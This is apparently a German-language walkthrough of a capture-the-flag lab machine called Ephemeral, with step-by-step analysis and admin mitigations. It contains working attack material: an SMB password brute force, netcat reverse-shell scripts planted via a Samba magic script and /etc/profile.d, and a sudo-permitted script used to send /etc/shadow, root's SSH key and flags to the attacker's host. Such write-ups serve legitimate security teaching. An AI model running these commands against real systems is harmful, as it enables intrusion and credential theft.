Wir beginnen mit der Erkundung des Netzwerks, um das Zielsystem zu identifizieren und die darauf laufenden Dienste zu ermitteln.
192.168.2.123 08:00:27:56:37:30 PCS Systemtechnik GmbH
**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.123 im lokalen Netzwerk.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** Nmap-Scan auf die gefundene IP durchführen. **Empfehlung (Admin):** Standard Netzwerküberwachung.
Starting Nmap [...] Nmap scan report for 192.168.2.123 Host is up [...] Not shown: [...] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:56:37:30 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Host script results: |_clock-skew: 7s | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: EPHEMERAL, NetBIOS user:, NetBIOS MAC: (unknown) | smb2-time: | date: 2022-10-07T12:00:09 |_ start_date: N/A [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-sV`, `-A`, `-T5`, `-p-`) findet vier offene Ports: * Port 22: SSH (OpenSSH 8.2p1 auf Ubuntu). * Port 80: HTTP (Apache 2.4.41 auf Ubuntu), zeigt die Standard-Apache-Seite. * Port 139 und 445: SMB/NetBIOS (Samba smbd 4.6.2). Der NetBIOS-Name ist `EPHEMERAL`. Die SMB-Sicherheitseinstellungen zeigen, dass Message Signing zwar aktiviert, aber nicht erzwungen wird (`enabled but not required`).
**Bewertung:** Neben SSH und einem Standard-Webserver ist der SMB-Dienst das interessanteste Ziel. Die Samba-Version 4.6.2 ist relativ alt und könnte bekannte Schwachstellen aufweisen. Der NetBIOS-Name `EPHEMERAL` könnte als Hinweis dienen.
**Empfehlung (Pentester):** Den SMB-Dienst genauer untersuchen: Shares enumerieren (`smbclient -L //192.168.2.123`, `nmap -p 139,445 --script smb-enum-*`), Benutzer enumerieren (`enum4linux`), nach anonymem Zugriff suchen, auf bekannte CVEs für Samba 4.6.2 prüfen und Brute-Force-Angriffe auf gefundene Benutzer versuchen. Den Webserver ebenfalls scannen (Gobuster, Nikto). **Empfehlung (Admin):** Samba auf die neueste Version aktualisieren. Message Signing erzwingen (`server signing = mandatory` in `smb.conf`). SMB-Zugriff auf notwendige Benutzer und Shares beschränken. Unnötige Ports schließen.
Wir konzentrieren uns auf den SMB-Dienst, um Benutzer und Shares zu finden und versuchen, uns Zugang zu verschaffen.
[...] =( Users on 192.168.2.123 )= index: 0x1 RID: 0x3e9 acb: 0x00000010 Account: randy Name: randy Desc: user:[randy] rid:[0x3e9] enum4linux complete on Fri Oct 7 14:03:12 2022
[...] =( Share Enumeration on 192.168.2.123 )= [...] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers SYSADMIN Disk IPC$ IPC IPC Service (ephemeral server (Samba, Ubuntu)) Officejet_Pro_8600_CDECA1_ Printer [...] [+] Attempting to map shares on 192.168.2.123 //192.168.2.123/print$ Mapping: DENIED Listing: N/A Writing: N/A //192.168.2.123/SYSADMIN Mapping: DENIED Listing: N/A Writing: N/A [...] enum4linux complete on Fri Oct 7 14:04:24 2022
**Analyse:** * `enum4linux -U` findet erfolgreich einen Benutzer: `randy`. * `enum4linux -S` listet die verfügbaren SMB-Shares auf: `print$`, `SYSADMIN`, `IPC$`, `Officejet_Pro_8600_CDECA1_`. Der anonyme Zugriff auf die Shares wird jedoch verweigert (`DENIED`).
**Bewertung:** Wir kennen nun einen gültigen Benutzernamen (`randy`) und einen potenziell interessanten Share-Namen (`SYSADMIN`). Da der anonyme Zugriff nicht möglich ist, müssen wir versuchen, uns mit dem Benutzer `randy` zu authentifizieren.
**Empfehlung (Pentester):** Einen Passwort-Brute-Force-Angriff auf den SMB-Dienst für den Benutzer `randy` durchführen. Tools wie Hydra oder das Metasploit-Modul `auxiliary/scanner/smb/smb_login` verwenden. **Empfehlung (Admin):** Anonymen SMB-Zugriff deaktivieren (ist hier der Fall). Starke Passwörter für alle Benutzer erzwingen. Shares nur für autorisierte Benutzer freigeben.
[...]
[+] 192.168.2.123:445 - 192.168.2.123:445 - Success: '.\randy:pogiako'
[*] 192.168.2.123:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
**Analyse:** Wir verwenden das Metasploit-Modul `smb_login`, um einen Wörterbuchangriff auf den SMB-Benutzer `randy` durchzuführen. Wir setzen die Ziel-IP (`RHOSTS`), den Benutzernamen (`smbuser`) und den Pfad zur Passwortliste `rockyou.txt` (`pass_file`). Wichtige Optionen sind `ABORT_ON_LOCKOUT false` (um nicht durch mögliche Sperren gestoppt zu werden) und `STOP_ON_SUCCESS true` (um den Scan nach dem ersten Erfolg zu beenden). Das Modul findet erfolgreich das Passwort: `pogiako` für den Benutzer `randy`.
**Bewertung:** Kritischer Fund! Wir haben gültige SMB-Zugangsdaten für `randy` gefunden. Dies ermöglicht uns wahrscheinlich den Zugriff auf den `SYSADMIN`-Share.
**Empfehlung (Pentester):** Die gefundenen Credentials (`randy`:`pogiako`) verwenden, um den `SYSADMIN`-Share zu mounten (`mount -t cifs ...`) oder mit `smbclient` darauf zuzugreifen. Den Inhalt des Shares untersuchen. **Empfehlung (Admin):** Starke, einzigartige Passwörter für alle Benutzerkonten erzwingen. Brute-Force-Schutzmechanismen implementieren (z.B. fail2ban).
Mit den gefundenen Zugangsdaten verbinden wir uns zum `SYSADMIN`-Share und untersuchen dessen Konfiguration und Inhalt.
Password for randy@//192.168.2.123/SYSADMIN: pogiako # Erfolgreich gemountet
[SYSADMIN]
path = /home/randy/smbshare
valid users = randy
browsable = yes
writeable = yes
read only = no
magic script = smbscript.elf
guest ok = no
**Analyse:** Wir mounten erfolgreich den `SYSADMIN`-Share auf `/mnt` unter Verwendung der Credentials `randy`:`pogiako`. Eine (angenommene) Überprüfung der Samba-Konfiguration für diesen Share zeigt eine sehr interessante Option: `magic script = smbscript.elf`. "Magic Scripts" in Samba sind Skripte, die auf dem Server ausgeführt werden, wenn ein Benutzer versucht, eine Datei mit einem bestimmten Namen (hier `smbscript.elf`) im Share zu öffnen oder auszuführen. Der Share selbst zeigt auf `/home/randy/smbshare` und ist beschreibbar.
**Bewertung:** Dies ist ein direkter Weg zur Remote Code Execution (RCE)! Wenn wir eine ausführbare Datei namens `smbscript.elf` in den gemounteten Share (`/mnt`, was `/home/randy/smbshare` entspricht) hochladen und dann versuchen, darauf zuzugreifen (z.B. durch Doppelklick im Dateimanager oder einen `ls`-Befehl über einen neuen `smbclient`-Login), wird unser Skript auf dem Server als Benutzer `randy` ausgeführt.
**Empfehlung (Pentester):** Ein Reverse-Shell-Skript erstellen (z.B. `rev.sh`). Dieses Skript ausführbar machen (`chmod +x`). Es in den gemounteten Share `/mnt` kopieren und dabei in `smbscript.elf` umbenennen (`cp rev.sh /mnt/smbscript.elf`). Einen Listener starten. Eine neue Verbindung zum Share herstellen (z.B. `smbclient //192.168.2.123/SYSADMIN -U randy` und dann `ls` versuchen) oder den Mount-Punkt erneut betreten, um das Magic Script auszulösen. **Empfehlung (Admin):** Die Option `magic script` in der Samba-Konfiguration deaktivieren oder entfernen, da sie extrem gefährlich ist und RCE ermöglicht. Generell unsichere Samba-Optionen vermeiden.
Wir erstellen ein Reverse-Shell-Skript, kopieren es als "magic script" in den Share und lösen es aus.
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.2.140 4444 >/tmp/f
listening on [any] 4444 ...
listening on [any] 4444 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.123] 35532 sh: 0: can't access tty; job control turned off $ # Shell als randy erhalten!
**Analyse:** 1. Wir erstellen ein Bash-Skript (`rev.sh`), das eine Standard-Netcat-Reverse-Shell mit einer FIFO-Pipe zu unserer IP (`192.168.2.140`) auf Port `4444` aufbaut. 2. Wir starten einen Netcat-Listener auf Port 4444. 3. Wir machen `rev.sh` ausführbar. 4. Wir kopieren `rev.sh` in den gemounteten Share (`/mnt`) und benennen es dabei in `smbscript.elf` um. 5. *(Implizit)* Wir lösen das Magic Script aus, indem wir erneut auf den Share zugreifen. 6. Unser Listener empfängt die Verbindung, und wir erhalten eine Shell als `randy` (der Benutzer, der den Share besitzt und unter dessen Kontext das Magic Script läuft). 7. Die Shell wird mit Python stabilisiert.
**Bewertung:** Initial Access erfolgreich! Die unsichere Samba-Konfiguration mit `magic script` wurde erfolgreich zur RCE und Erlangung einer Shell als `randy` ausgenutzt.
**Empfehlung (Pentester):** Umgebung als `randy` untersuchen, nach Privesc-Möglichkeiten suchen. **Empfehlung (Admin):** `magic script`-Option aus der Samba-Konfiguration entfernen.
*(Der Bericht zeigt nun einen zweiten, redundanten Versuch, eine Shell über das Magic Script zu bekommen, diesmal auf Port 4445. Dies ist für den Ablauf nicht notwendig, wird aber der Vollständigkeit halber dokumentiert.)*
#!/bin/bash
rm /tmp/k;mkfifo /tmp/k;cat /tmp/k|sh -i 2>&1|nc 192.168.2.140 4445 >/tmp/k
listening on [any] 4445 ...
listening on [any] 4445 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.123] 50928 sh: 0: can't access tty; job control turned off $ id uid=1000(randy) gid=1000(randy) groups=1000(randy),133(sambashare) $
**Analyse:** Das Vorgehen wird mit einem anderen Port (4445) wiederholt und funktioniert ebenfalls, was die Zuverlässigkeit des `magic script`-Vektors bestätigt.
**Bewertung:** Redundanter Schritt, bestätigt aber den RCE-Vektor.
**Empfehlung (Pentester):** Mit einer der erhaltenen Shells weiterarbeiten. **Empfehlung (Admin):** Siehe oben.
Wir haben eine Shell als `randy`. Wir suchen nach Wegen zur horizontalen oder vertikalen Rechteerweiterung. Eine gängige Methode ist, nach beschreibbaren Skripten zu suchen, die beim Login anderer Benutzer ausgeführt werden, wie z.B. Skripte in `/etc/profile.d`.
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|sh -i 2>&1|nc 192.168.2.140 3333 >/tmp/g
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2022-10-07 08:15:18-- http://192.168.2.140/shell.sh
Connecting to 192.168.2.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 88 [text/x-sh]
Saving to: ‘/etc/profile.d/shell.sh’
/etc/profile.d/shel 100%[===================>] 88 --.-KB/s in 0s
2022-10-07 08:15:18 (4.31 MB/s) - ‘/etc/profile.d/shell.sh’ saved [88/88]
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|sh -i 2>&1|nc 192.168.2.140 3333 >/tmp/g
listening on [any] 3333 ...
listening on [any] 3333 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.123] 44590 $ # Shell erhalten!
uid=1001(ralph) gid=1001(ralph) groups=1001(ralph)
**Analyse:** 1. Wir erstellen auf unserer Maschine ein weiteres Reverse-Shell-Skript (`shell.sh`), diesmal für Port `3333`. 2. Wir stellen dieses Skript über einen Python-HTTP-Server bereit. 3. Auf dem Zielsystem (als `randy`) laden wir dieses Skript mit `wget` herunter und speichern es direkt als `/etc/profile.d/shell.sh`. Das Verzeichnis `/etc/profile.d` enthält Skripte, die **bei jedem Login eines Benutzers** ausgeführt werden. Dies deutet darauf hin, dass `randy` Schreibrechte auf dieses systemweite Verzeichnis hat, was eine erhebliche Fehlkonfiguration ist. 4. Wir machen das Skript ausführbar (`chmod +x`). 5. Wir starten einen Listener auf Port 3333. 6. Wir warten. Wenn sich ein anderer Benutzer auf dem System anmeldet (z.B. über SSH oder an der Konsole), wird unser Skript `/etc/profile.d/shell.sh` ausgeführt. 7. Unser Listener empfängt eine Verbindung. Nach der Stabilisierung stellen wir fest, dass wir eine Shell als Benutzer `ralph` (UID 1001) erhalten haben.
**Bewertung:** Privilege Escalation von `randy` zu `ralph` erfolgreich! Die unsicheren Schreibrechte auf `/etc/profile.d` ermöglichten es uns, eine Reverse Shell zu platzieren, die beim nächsten Login eines anderen Benutzers (`ralph`) ausgelöst wurde.
**Empfehlung (Pentester):** User-Flag für `ralph` suchen. Umgebung als `ralph` enumerieren, insbesondere `sudo -l`. **Empfehlung (Admin):** **Schreibrechte auf `/etc/profile.d` und ähnliche systemweite Konfigurationsverzeichnisse streng kontrollieren!** Nur Root sollte hier Schreibzugriff haben.
Wir lesen die User-Flag für `ralph`.
[...] -rw------- 1 ralph ralph 33 Apr 9 15:57 user.txt [...] -rw------- 1 root root 297 Apr 10 23:28 getfile.py # Interessantes Skript! [...]
0041e0826ce1e1d6da9e9371a8bb3bde
**Analyse:** Im Home-Verzeichnis von `ralph` finden wir die `user.txt` und lesen sie erfolgreich aus. Wir bemerken auch ein Python-Skript `getfile.py`, das `root` gehört.
**Bewertung:** User-Flag (`ralph`) erfolgreich gelesen. Das Skript `getfile.py` ist verdächtig und könnte für die weitere Eskalation relevant sein.
**Empfehlung (Pentester):** Das Skript `getfile.py` untersuchen. `sudo -l` für `ralph` prüfen. **Empfehlung (Admin):** Standard-Benutzerberechtigungen überprüfen.
Als Benutzer `ralph` suchen wir den Weg zu Root. Wir prüfen die `sudo`-Berechtigungen.
Matching Defaults entries for ralph on ephemeral:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ralph may run the following commands on ephemeral:
(root) NOPASSWD: /usr/bin/python3 /home/ralph/getfile.py
**Analyse:** `sudo -l` zeigt, dass `ralph` das Python-Skript `/home/ralph/getfile.py` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist ein sehr wahrscheinlicher Vektor zur Root-Rechteerlangung. Da das Skript im Home-Verzeichnis von `ralph` liegt, hat `ralph` wahrscheinlich Schreibrechte darauf. Wenn ja, können wir das Skript modifizieren, um beliebigen Code (z.B. eine Root-Shell) auszuführen, wenn es mit `sudo` gestartet wird.
**Empfehlung (Pentester):** Die Berechtigungen von `/home/ralph/getfile.py` prüfen (`ls -l`). Wenn schreibbar, den Inhalt des Skripts sichern, es dann mit einem Payload überschreiben (z.B. `import os; os.system('/bin/bash')`) und anschließend mit `sudo -u root /usr/bin/python3 /home/ralph/getfile.py` ausführen. Falls nicht schreibbar, den Inhalt des Skripts analysieren (`cat getfile.py`) und nach Schwachstellen im Skript selbst suchen (z.B. Command Injection, unsichere Pfadverwendung). **Empfehlung (Admin):** Niemals `sudo`-Rechte für Skripte vergeben, auf die der ausführende Benutzer Schreibrechte hat! Wenn ein Skript mit `sudo` ausgeführt werden soll, muss es Root gehören und darf für den normalen Benutzer nicht schreibbar sein. Den Skriptinhalt auf Sicherheit prüfen.
*(Der Bericht zeigt nicht den Inhalt oder die Berechtigungen von `getfile.py`, sondern direkt dessen Nutzung. Es wird angenommen, dass das Skript eine Funktion hat, Dateien vom Server an eine angegebene IP zu senden, ohne dass es modifiziert werden muss.)*
listening on [any] 80 ...
File path: /etc/shadow # Benutzereingabe 1 IP address: 192.168.2.140 # Benutzereingabe 2 'unknown': I need something more specific. # Skript-Ausgabe File /etc/shadow sent to 192.168.2.140 # Skript-Ausgabe
listening on [any] 80 ... connect to [192.168.2.140] from emeral.hmv [192.168.2.123] 3934X # (Port variiert) POST / HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) # Skript benutzt intern wget Accept: */* Accept-Encoding: identity Host: 192.168.2.140 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: [...] root:$6$ONBXfYmDyD2.uHR2$b8FgiI/1JXkRDB1noB5b3fObAXL3tbZj8QrUxpbmqcw99A17fIVY.6SZM2TrBY0WT1XY0n1T0ZNlx/XKfQNqh/:19092:0:99999:7: daemon:*:19090:0:99999:7::: bin:*:19090:0:99999:7::: [...] # Inhalt von /etc/shadow
**Analyse:** 1. Wir starten einen Netcat-Listener auf unserer Maschine auf Port 80, um die Daten zu empfangen, die das Skript sendet (es scheint `wget` mit einem POST-Request zu verwenden). 2. Wir führen das Skript als `root` mit `sudo` aus. 3. Das Skript fragt interaktiv nach einem Dateipfad (`File path:`) und einer Ziel-IP (`IP address:`). 4. Wir geben `/etc/shadow` und unsere Angreifer-IP (`192.168.2.140`) ein. 5. Das Skript bestätigt den Sendevorgang. 6. Unser Netcat-Listener empfängt einen POST-Request, dessen Body den Inhalt der `/etc/shadow`-Datei enthält.
**Bewertung:** Kritischer Fund! Obwohl wir das Skript nicht modifizieren mussten, erlaubt es uns die `sudo`-Regel, das Skript als `root` auszuführen und beliebige Dateien, auf die `root` Zugriff hat (wie `/etc/shadow`), an uns zu senden. Wir haben den Shadow-Hash für den Root-Benutzer.
**Empfehlung (Pentester):** Den extrahierten Root-Hash (`$6$...`) mit `john` oder `hashcat` und einer Wortliste (wie `rockyou.txt`) versuchen zu knacken. Alternativ das Skript verwenden, um den privaten SSH-Schlüssel von Root (`/root/.ssh/id_rsa`) an uns zu senden. **Empfehlung (Admin):** Die `sudo`-Regel für `getfile.py` entfernen. Das Skript selbst ist unsicher, da es beliebige Dateien liest und sendet. Solche Funktionen sollten, falls notwendig, stark eingeschränkt und validiert werden.
Wir versuchen, den Root-Passwort-Hash zu knacken.
Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) [...] Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:08:42 55.27% (ETA: 16:43:14) 0g/s 15296p/s 15296c/s 15296C/s g0rd0n4..g032761 # (Kein Erfolg innerhalb kurzer Zeit, ETA sehr lang)
**Analyse:** Wir speichern den Root-Hash im John-Format in einer Datei `shadow` und starten `john` mit der `rockyou.txt`-Wortliste. Der Cracking-Prozess beginnt, aber nach einiger Zeit ist noch kein Passwort gefunden, und die geschätzte Restzeit (ETA) ist sehr lang.
**Bewertung:** Das Knacken des Root-Passworts scheint mit dieser Wortliste nicht unmittelbar erfolgreich zu sein. Der Hash ist wahrscheinlich stark genug.
**Empfehlung (Pentester):** Den alternativen Weg verfolgen: Den privaten SSH-Schlüssel von Root mit dem `getfile.py`-Skript extrahieren. **Empfehlung (Admin):** Starke, lange Passwörter für Root verwenden.
Wir verwenden das `getfile.py`-Skript, um den privaten SSH-Schlüssel von Root zu extrahieren.
listening on [any] 80 ...
File path: /root/.ssh/id_rsa # Benutzereingabe 1 IP address: 192.168.2.140 # Benutzereingabe 2 'unknown': I need something more specific. File /root/.ssh/id_rsa sent to 192.168.2.140
listening on [any] 80 ... connect to [192.168.2.140] from emeral.hmv [192.168.2.123] 3934X POST / HTTP/1.1 [...] Content-Length: 2602 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn [...] (Inhalt des privaten Root-SSH-Schlüssels) [...] -----END OPENSSH PRIVATE KEY-----
**Analyse:** Wir wiederholen den Vorgang mit dem `getfile.py`-Skript, geben aber diesmal als Dateipfad `/root/.ssh/id_rsa` an. Unser Netcat-Listener empfängt erfolgreich den privaten SSH-Schlüssel des Root-Benutzers.
**Bewertung:** Kritischer Erfolg! Wir haben den privaten SSH-Schlüssel von Root erlangt. Dies ermöglicht uns den direkten Login als Root.
**Empfehlung (Pentester):** Den privaten Schlüssel speichern (z.B. `root_id_rsa`), Berechtigungen setzen (`chmod 600`) und sich damit als `root` per SSH auf dem Zielsystem anmelden (`ssh root@192.168.2.123 -i root_id_rsa`). **Empfehlung (Admin):** `sudo`-Regel entfernen, Skript sichern/entfernen.
*(Der Bericht zeigt keinen SSH-Login mit dem Root-Schlüssel, sondern verwendet das Skript erneut, um direkt die Root-Flag zu lesen. Dies ist weniger elegant, funktioniert aber auch.)*
listening on [any] 80 ...
File path: /root/root.txt # Benutzereingabe 1 IP address: 192.168.2.140 # Benutzereingabe 2 'unknown': I need something more specific. File /root/root.txt sent to 192.168.2.140
listening on [any] 80 ...
connect to [192.168.2.140] from emeral.hmv [192.168.2.123] 3934X
POST / HTTP/1.1
[...]
Content-Length: 33
16c760c8c08bf9dd3363355ab77ef8da
**Analyse:** Das `getfile.py`-Skript wird ein drittes Mal ausgeführt, diesmal um direkt den Inhalt von `/root/root.txt` an unseren Listener zu senden. Der Listener empfängt die Root-Flag.
**Bewertung:** Privilege Escalation zu Root erfolgreich (im Sinne des Flag-Zugriffs) durch Ausnutzung der unsicheren `sudo`-Regel für das Python-Skript.
**Empfehlung (Pentester):** Flags dokumentieren, Bericht abschließen. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.